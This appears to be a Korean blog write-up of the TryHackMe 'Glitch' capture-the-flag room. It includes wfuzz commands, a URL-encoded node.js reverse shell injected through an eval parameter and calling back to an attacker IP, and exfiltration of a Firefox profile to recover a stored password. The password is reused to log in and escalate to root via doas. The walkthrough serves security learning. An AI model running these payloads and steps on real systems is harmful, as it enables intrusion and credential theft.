문제 이름
https://tryhackme.com/room/glitch
위 사이트에 접속하면 해당 문제를 풀 수 있다.
정보 수집
대상 ip를 확인하였다.
포트 스캐닝을 진행을 하였고 80포트가 열려있어서 웹 사이트가 구동중이라고 생각을 하였다.
80포트로 웹 사이트에 접속하니 아무것도 나타나지 않았다.
페이지 소스보기를 통해 해당 웹 페이지가 어떻게 구성되어 있는지 확인하였다.
페이지를 확인해보니 getAccess()라는 함수가 api를 호출하고 결과를 반환하는 것을 볼 수 있다. 하지만 getAccess()함수를 수행하는 부분이 없다.
콘솔창에서 해당 함수를 실행하니 토큰을 준다.
토큰 값 : dGhpc19pc19ub3RfcmVhbA==
토큰 값이 base64형태여서 원래대로 decode를 진행하였다.
decode를 하니 this_is_not_real이라는 토큰 값을 알게 되었다.
쿠키에 토큰 값을 해당 값으로 입력하였다.
재시작을 하니 아까랑 다른 사이트가 나왔다.
GET방식에서 POST로 변조를 하여 api를 호출하였다.
파라미터의 이름을 구하기 위해서 퍼징을 진행하도록 한다.
wfuzz -z file,/usr/share/wordlists/wfuzz/general/common.txt -X POST -u http://10.10.128.194/api/items?FUZZ=test
해당 코드를 통해서 퍼징을 실시 하였다.
wfuzz -z file,/usr/share/wordlists/wfuzz/general/common.txt -X POST -u http://10.10.128.194/api/items?FUZZ=test --hc 400
400번 응답코드는 히든으로 숨겼더니 파라미터가 cmd일때 500의 응답을 받았다.
cmd에 아무 값이나 넣어서 확인을 해보니 오류가 떴고 eval함수에 대해 오류이다.
오류를 검색해보니 node.js를 사용중인 것을 알 수 있었다.
eval 함수를 통해 리버스 쉘을 실행시킬 수 있다.
아래 사이트에서 리버스 쉘 코드를 만들었다.
node.js로 리버스 쉘을 만들었다.
리스닝 포트를 열었다.
cmd 파라미터에 리버스 쉘 공격코드를 넣고 요청을 진행하였다.
리버스 쉘 공격 코드
%28function%28%29%7B%0D%0A%20%20%20%20var%20net%20%3D%20require%28%22net%22%29%2C%0D%0A%20%20%20%20%20%20%20%20cp%20%3D%20require%28%22child_process%22%29%2C%0D%0A%20%20%20%20%20%20%20%20sh%20%3D%20cp.spawn%28%22sh%22%2C%20%5B%5D%29%3B%0D%0A%20%20%20%20var%20client%20%3D%20new%20net.Socket%28%29%3B%0D%0A%20%20%20%20client.connect%289999%2C%20%2210.4.2.203%22%2C%20function%28%29%7B%0D%0A%20%20%20%20%20%20%20%20client.pipe%28sh.stdin%29%3B%0D%0A%20%20%20%20%20%20%20%20sh.stdout.pipe%28client%29%3B%0D%0A%20%20%20%20%20%20%20%20sh.stderr.pipe%28client%29%3B%0D%0A%20%20%20%20%7D%29%3B%0D%0A%20%20%20%20return%20%2Fa%2F%3B%20%2F%2F%20Prevents%20the%20Node.js%20application%20from%20crashing%0D%0A%7D%29%28%29%3B
connect로 리버스 쉘이 성공하였다.
인터랙티브 모드로 전환을 하였다.
setuid를 확인해보니 doas라는 명령어가 setuid로 설정이 되어있음을 확인하였다.
doas는 sudo와 비슷한 명령어로 다른 사람의 권한으로 명령어를 실행할 수 있다.
doas 명령어를 통해 쉘을 실행하려고 하였지만 권한이 허용되지 않았다.
doas 설정 파일의 위치를 확인 하였다.
doas 설정파일을 확인 하니 v0id 사용자가 root로 doas 명령어를 사용할 수 있다고 되어있다.
홈디렉터리에와서 .firefox 파일을 확인하였다.
default-release 디렉터리는 firefox의 프로필 디렉터리이다.
이것을 통해 이 사람이 쓰고있는 웹 브라우저를 그대로 가져올 수 있다.
tar로 압축을 진행하였다.
압축을 확인하였다.
scp 명령어로 firefox 파일을 공격자에게 전송하였다.
압축을 해제하였다.
.firefox 디렉터리를 확인하였다.
firefox 로 해당 프로필 디렉터리를 가져왔고 필요에 따라 다운그레이드를 하여서 실행하였다.
firefox에서 passwords 탭에 들어가서 다른 사이트에서 무슨 비밀번호를 썼는지 확인하였다.
비밀번호 : love_the_void
위 비밀번호를 쓴다는 것을 알 수 있고 크리덴셜 스터핑을 통해 해당 id로 접근이 가능한지 진행해보겠다.
v0id의 id로 접속을 진행하고 password를 love_the_void를 입력하니 접근이 가능하였다.
아까 v0id 계정이 doas로 root 권한으로 명령어를 실행 시킬 수 있었기 때문에 doas /bin/bash 명령어를 통하여 권한 상승을 진행하였다.
그 후 root 권한을 얻게 되었다.
'Pentesting CTF > tryhackme' 카테고리의 다른 글
[Tryhackme] - Basic Pentesting (0) | 2023.03.21 |
---|---|
[Tryhackme] - RootMe (1) | 2023.03.20 |
[Tryhackme] - LazyAdmin (0) | 2022.10.27 |
Tryhackme OpenVPN 설정 방법 (0) | 2022.10.26 |